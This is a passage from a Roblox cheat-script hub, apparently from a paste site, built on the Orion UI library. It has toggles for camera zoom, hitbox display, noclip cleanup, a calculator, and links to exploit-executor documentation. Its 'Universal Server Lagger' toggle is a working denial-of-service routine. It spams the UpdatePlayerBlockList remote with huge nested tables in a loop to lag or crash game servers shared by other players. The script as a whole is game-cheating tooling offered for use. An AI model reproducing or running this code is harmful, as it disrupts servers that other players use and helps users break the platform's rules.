  7741. for i,ping in pairs(game.CoreGui:GetDescendants()) do
  7742. if ping.Name == "PingGrabber" then
  7743. ping:Destroy()
  7744. end
  7745. end
  7746. end
  7747. end
  7748. })
  7749.  
  7750. Setting:AddToggle({
  7751. Name = "Zoom Camera",
  7752. Default = false,
  7753. Callback = function(Zoom)
  7754. if Zoom == true then
  7755. local w = game.Workspace
  7756. local c = w.CurrentCamera
  7757. c.FieldOfView = 5
  7758.  
  7759. else
  7760. Zoom = false
  7761. local ws = game.Workspace
  7762. local cc = ws.CurrentCamera
  7763. cc.FieldOfView = 70
  7764. end
  7765. end
  7766. })
  7767.  
  7768. Setting:AddToggle({
  7769. Name = "Show AnimationData",
  7770. Default = false,
  7771. Callback = function(ShowAnim)
  7772. if ShowAnim == true then
  7773. settings():GetService("NetworkSettings").ShowActiveAnimationAsset = true
  7774. else
  7775. ShowAnim = false
  7776. settings():GetService("NetworkSettings").ShowActiveAnimationAsset = false
  7777. end
  7778. end
  7779. })
  7780.  
  7781. Setting:AddToggle({
  7782. Name = "Show HitboxData",
  7783. Default = false,
  7784. Callback = function(ShowHit)
  7785. if ShowHit == true then
  7786. settings():GetService("RenderSettings").ShowBoundingBoxes = true
  7787. else
  7788. ShowHit = false
  7789. settings():GetService("RenderSettings").ShowBoundingBoxes = false
  7790. end
  7791. end
  7792. })
  7793.  
  7794. Setting:AddToggle({
  7795. Name = "Show Hitboxes",
  7796. Default = false,
  7797. Callback = function(ShowHits)
  7798. if ShowHits == true then
  7799. for _, object in next, game.Workspace:GetDescendants() do
  7800. if object.Name == "HumanoidRootPart" and object.Parent:FindFirstChild("SelectionBox") == nil then
  7801. local selectionbox = Instance.new("SelectionBox", object.Parent)
  7802. selectionbox.Adornee = object.Parent
  7803. end
  7804. end
  7805. else
  7806. ShowHits = false
  7807. for _, object in next, game.Workspace:GetDescendants() do
  7808. if object.Name == "HumanoidRootPart" and object.Parent:FindFirstChild("SelectionBox") ~= nil then
  7809. object.Parent:FindFirstChild("SelectionBox"):Destroy()
  7810. end
  7811. end
  7812. end
  7813. end
  7814. })
  7815.  
  7816. local BubChatE = game:GetService("Chat").BubbleChatEnabled
  7817.  
  7818. Setting:AddToggle({
  7819. Name = "BubbleChat",
  7820. Default = BubChatE,
  7821. Callback = function(BubChat)
  7822. game:GetService("Chat").BubbleChatEnabled = BubChat
  7823. end
  7824. })
  7825.  
  7826. Setting:AddToggle({
  7827. Name = "SafeChat",
  7828. Default = false,
  7829. Callback = function(SafeChat)
  7830. plr:SetSuperSafeChat(SafeChat)
  7831. end
  7832. })
  7833.  
  7834. Setting:AddToggle({
  7835. Name = "Universal Server Lagger",
  7836. Default = false,
  7837. Callback = function(ShowLags)
  7838. if ShowLags == true then
  7839. _G.on = true
  7840. while wait(1.3) do --// don't change it's the best
  7841. if _G.on == true then
  7842. game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
  7843. local function getmaxvalue(val)
  7844. local mainvalueifonetable = 499999
  7845. if type(val) ~= "number" then
  7846. return nil
  7847. end
  7848. local calculateperfectval = (mainvalueifonetable/(val+2))
  7849. return calculateperfectval
  7850. end
  7851.  
  7852. local function bomb(tableincrease, tries)
  7853. local maintable = {}
  7854. local spammedtable = {}
  7855.  
  7856. table.insert(spammedtable, {})
  7857. z = spammedtable[1]
  7858.  
  7859. for i = 1, tableincrease do
  7860. local tableins = {}
  7861. table.insert(z, tableins)
  7862. z = tableins
  7863. end
  7864.  
  7865. local calculatemax = getmaxvalue(tableincrease)
  7866. local maximum
  7867.  
  7868. if calculatemax then
  7869. maximum = calculatemax
  7870. else
  7871. maximum = 10000
  7872. end
  7873.  
  7874. for i = 1, maximum do
  7875. table.insert(maintable, spammedtable)
  7876. end
  7877.  
  7878. for i = 1, tries do
  7879. game.RobloxReplicatedStorage.UpdatePlayerBlockList:FireServer(maintable)
  7880. end
  7881. end
  7882.  
  7883. bomb(250, 2) --// change values if client crashes
  7884. end
  7885. end
  7886. else
  7887. ShowLags = false
  7888. _G.on = false
  7889. end
  7890. end
  7891. })
  7892.  
  7893. Setting:AddToggle({
  7894. Name = "IncomingReplicationLag",
  7895. Default = false,
  7896. Callback = function(ShowLag)
  7897. if ShowLag == true then
  7898. setting = settings().Network
  7899. setting.IncomingReplicationLag = 1000
  7900. else
  7901. ShowLag = false
  7902. setting = settings().Network
  7903. setting.IncomingReplicationLag = 0
  7904. end
  7905. end
  7906. })
  7907.  
  7908. TablePart:AddButton({
  7909. Name = "Clear Noclip Table-Parts",
  7910. Callback = function()
  7911. if Noclipping then
  7912. Noclipping:Disconnect()
  7913. end
  7914. Clip = true
  7915. end
  7916. })
  7917.  
  7918. TablePart:AddButton({
  7919. Name = "Clear Vehicle Noclip Table-Parts",
  7920. Callback = function()
  7921. if Noclipping then
  7922. Noclipping:Disconnect()
  7923. end
  7924. Clip = true
  7925. for i,v in pairs(vnoclipParts) do
  7926. v.CanCollide = true
  7927. end
  7928. vnoclipParts = {}
  7929. end
  7930. })
  7931.  
  7932. TablePart:AddButton({
  7933. Name = "Clear TPunAnchored FrozenParts Table-Parts",
  7934. Callback = function()
  7935. for i,v in pairs(frozenParts) do
  7936. for i,c in pairs(v:GetChildren()) do
  7937. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  7938. c:Destroy()
  7939. end
  7940. end
  7941. end
  7942. frozenParts = {}
  7943. end
  7944. })
  7945.  
  7946. TablePart:AddButton({
  7947. Name = "Clear Vehicle Strongthen Table-Parts",
  7948. Callback = function()
  7949. for i,v in pairs(vstrongParts) do
  7950. if v:IsA("Part") then
  7951. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  7952. end
  7953. end
  7954. vstrongParts = {}
  7955. end
  7956. })
  7957.  
  7958. TablePart:AddButton({
  7959. Name = "Clear Vehicle Weaken Table-Parts",
  7960. Callback = function()
  7961. for i,v in pairs(vweakParts) do
  7962. if v:IsA("Part") then
  7963. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  7964. end
  7965. end
  7966. vweakParts = {}
  7967. end
  7968. })
  7969.  
  7970. Math:AddLabel("Calculator")
  7971.  
  7972. local MathFirst
  7973. local MathSecond
  7974.  
  7975. Math:AddTextbox({
  7976. Name = "First Number",
  7977. Default = "",
  7978. TextDisappear = true,
  7979. Callback = function(MathFirstlol)
  7980. MathFirst = MathFirstlol
  7981. end
  7982. })
  7983.  
  7984. Math:AddTextbox({
  7985. Name = "Second Number",
  7986. Default = "",
  7987. TextDisappear = true,
  7988. Callback = function(MathSecondlol)
  7989. MathSecond = MathSecondlol
  7990. end
  7991. })
  7992.  
  7993. Math:AddDropdown({ --- Or local Dropdown = Tab:AddDropdown({
  7994. Name = "Answer Method",
  7995. Default = "",
  7996. Options = {"+", "-", "*", ":"}, --- Can add more, example Options = {"1", "2", "3", "4", "5"}, also you can name of these numbers to random word or number.
  7997. Callback = function(ChoosePart)
  7998. if ChoosePart == "+" then --- Or "1" idk lol
  7999. OrionLib:MakeNotification({
  8000. Name = "Answer",
  8001. Content = math.round(MathFirst + MathSecond),
  8002. Image = "rbxassetid://6023426945",
  8003. Time = 5
  8004. })
  8005. elseif ChoosePart == "-" then --- Or "2"
  8006. OrionLib:MakeNotification({
  8007. Name = "Answer",
  8008. Content = math.round(MathFirst - MathSecond),
  8009. Image = "rbxassetid://6023426945",
  8010. Time = 5
  8011. })
  8012. elseif ChoosePart == "*" then --- Or "2"
  8013. OrionLib:MakeNotification({
  8014. Name = "Answer",
  8015. Content = math.round(MathFirst * MathSecond),
  8016. Image = "rbxassetid://6023426945",
  8017. Time = 5
  8018. })
  8019. elseif ChoosePart == ":" then --- Or "2"
  8020. OrionLib:MakeNotification({
  8021. Name = "Answer",
  8022. Content = math.round(MathFirst / MathSecond),
  8023. Image = "rbxassetid://6023426945",
  8024. Time = 5
  8025. })
  8026. end
  8027. end
  8028. })
  8029.  
  8030. Math:AddDropdown({ --- Or local Dropdown = Tab:AddDropdown({
  8031. Name = "Copy Answer Method",
  8032. Default = "",
  8033. Options = {"+", "-", "*", ":"}, --- Can add more, example Options = {"1", "2", "3", "4", "5"}, also you can name of these numbers to random word or number.
  8034. Callback = function(ChoosePart)
  8035. if ChoosePart == "+" then --- Or "1" idk lol
  8036. OrionLib:MakeNotification({
  8037. Name = "Copied Answer",
  8038. Content = math.round(MathFirst + MathSecond),
  8039. Image = "rbxassetid://6023426945",
  8040. Time = 5
  8041. })
  8042. setclipboard(tostring(MathFirst + MathSecond))
  8043. elseif ChoosePart == "-" then --- Or "2"
  8044. OrionLib:MakeNotification({
  8045. Name = "Copied Answer",
  8046. Content = math.round(MathFirst - MathSecond),
  8047. Image = "rbxassetid://6023426945",
  8048. Time = 5
  8049. })
  8050. setclipboard(tostring(MathFirst - MathSecond))
  8051. elseif ChoosePart == "*" then --- Or "2"
  8052. OrionLib:MakeNotification({
  8053. Name = "Copied Answer",
  8054. Content = math.round(MathFirst * MathSecond),
  8055. Image = "rbxassetid://6023426945",
  8056. Time = 5
  8057. })
  8058. setclipboard(tostring(MathFirst * MathSecond))
  8059. elseif ChoosePart == ":" then --- Or "2"
  8060. OrionLib:MakeNotification({
  8061. Name = "Copied Answer",
  8062. Content = math.round(MathFirst / MathSecond),
  8063. Image = "rbxassetid://6023426945",
  8064. Time = 5
  8065. })
  8066. setclipboard(tostring(MathFirst / MathSecond))
  8067. end
  8068. end
  8069. })
  8070.  
  8071. Math:AddLabel("Miscellaneous")
  8072.  
  8073. Math:AddTextbox({
  8074. Name = "Math Square Root",
  8075. Default = "",
  8076. TextDisappear = true,
  8077. Callback = function(SRQT)
  8078. MathSqrt = SRQT
  8079. OrionLib:MakeNotification({
  8080. Name = "Answer",
  8081. Content = math.sqrt(MathSqrt),
  8082. Image = "rbxassetid://6023426945",
  8083. Time = 5
  8084. })
  8085. end
  8086. })
  8087.  
  8088. Math:AddButton({
  8089. Name = "Math Pi",
  8090. Callback = function()
  8091. OrionLib:MakeNotification({
  8092. Name = "Math Pi Answer",
  8093. Content = math.pi,
  8094. Image = "rbxassetid://6023426945",
  8095. Time = 5
  8096. })
  8097. end
  8098. })
  8099.  
  8100. ExploitDoc:AddButton({
  8101. Name = "Copy Synapse X Documentation",
  8102. Callback = function()
  8103. setclipboard("https://x.synapse.to/docs/")
  8104. end
  8105. })
  8106.  
  8107. ExploitDoc:AddButton({
  8108. Name = "Copy KRNL Documentation",
  8109. Callback = function()
  8110. setclipboard("https://pastebin.com/raw/k6XDSs5n")
  8111. end
  8112. })
  8113.  
  8114. ExploitDoc:AddButton({
  8115. Name = "Copy pre KRNL Documentation",
  8116. Callback = function()
  8117. setclipboard("https://docs.krnl.ca/predocs.html")
  8118. end
  8119. })
  8120.  
  8121. ExploitDoc:AddButton({
  8122. Name = "Copy ScriptWare Documentation",
  8123. Callback = function()
  8124. setclipboard("https://docs.script-ware.com/")
  8125. end
  8126. })
  8127.  
  8128. ExploitDoc:AddButton({
  8129. Name = "Copy Electron Documentation",
  8130. Callback = function()
  8131. setclipboard("https://ryos.best/api/EDocs")
  8132. end
  8133. })
  8134.  
  8135. ExploitDoc:AddButton({
  8136. Name = "Copy Fluxus Documentation",
  8137. Callback = function()
  8138. setclipboard("https://fluxusrbx.gitbook.io/fluxus/")
  8139. end
  8140. })
  8141.  
  8142. ExploitDoc:AddButton({
  8143. Name = "Copy Sirhurt V4 Documentation",
  8144. Callback = function()
  8145. setclipboard("https://sirhurt.net/login/API.html")
  8146. end
  8147. })
  8148.  
  8149.  
  8150.  
  8151. local st = tick()
  8152.  
  8153. print("RobloxHub was started in", tostring(tick()-st).." seconds")
  8154.  
  8155. Credit:AddParagraph("Functions", "Functions are very overpowered. I will add new and other functions next time. Also I'm not creator or scripted these functions, just letting you know.")
  8156. Credit:AddParagraph("UI Library", "UI Library is Orion UI Library. You can use it for free. Very cool and cleanest UI.")
  8157. Credit:AddParagraph("Developer/Scripter", "Susmic123_real. You can find my youtube channel in YouTube or just copy youtube link. my yt is TRAN$ and i make music also Or you can just copy mine discord tag. If you want to ask me something, then do it, I can answer and help.")
  8158. Credit:AddParagraph("New Logs", "Nothing was added yet.")
  8159. Credit:AddParagraph("Change Logs", "Replaced new updated chat translator.")
  8160. Credit:AddButton({
  8161. Name = "Copy YouTube Link",
  8162. Callback = function()
  8163. setclipboard("https://www.youtube.com/@trynsmusic")
  8164. end
  8165. })
  8166.  
  8167. Credit:AddButton({
  8168. Name = "Copy Discord Tag",
  8169. Callback = function()
  8170. setclipboard("RSE#8305")
  8171. end
  8172. })
  8173.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement